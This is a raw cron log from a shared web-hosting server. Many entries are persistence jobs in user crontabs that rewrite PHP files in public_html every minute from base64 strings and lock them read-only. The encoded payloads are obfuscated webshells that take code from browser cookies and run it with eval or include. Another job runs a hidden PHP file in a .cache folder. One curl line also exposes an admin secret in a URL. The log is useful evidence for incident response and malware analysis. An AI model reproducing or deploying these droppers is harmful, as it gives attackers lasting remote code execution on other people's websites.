Mar  1 07:32:01 medusa CROND[4821]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:33:01 medusa CROND[1113]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:33:01 medusa CROND[1121]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:33:01 medusa CROND[1123]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:33:01 medusa CROND[1125]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:33:01 medusa CROND[1134]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 07:33:01 medusa CROND[1152]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:33:01 medusa CROND[1169]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:33:01 medusa CROND[1180]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:33:01 medusa CROND[1189]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:33:01 medusa CROND[1200]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:33:01 medusa CROND[1247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:33:01 medusa CROND[1265]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:34:01 medusa CROND[22583]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 07:34:01 medusa CROND[22584]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:34:01 medusa CROND[22586]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 07:34:01 medusa CROND[22587]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:34:01 medusa CROND[22588]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:34:01 medusa CROND[22590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 07:34:01 medusa CROND[22596]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 07:34:01 medusa CROND[22597]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:34:01 medusa CROND[22598]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 07:34:01 medusa CROND[22599]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 07:34:01 medusa CROND[22600]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:34:01 medusa CROND[22601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 07:34:01 medusa CROND[22604]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 07:35:01 medusa CROND[11801]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 07:35:01 medusa CROND[11806]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 07:35:01 medusa CROND[11818]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 07:35:01 medusa CROND[11881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 07:35:02 medusa CROND[11929]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 07:35:02 medusa CROND[11930]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 07:35:02 medusa CROND[11932]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 07:35:02 medusa CROND[11931]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 07:35:02 medusa CROND[11936]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 07:35:02 medusa CROND[11933]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Mar  1 07:35:02 medusa CROND[11940]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 07:35:02 medusa CROND[11934]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
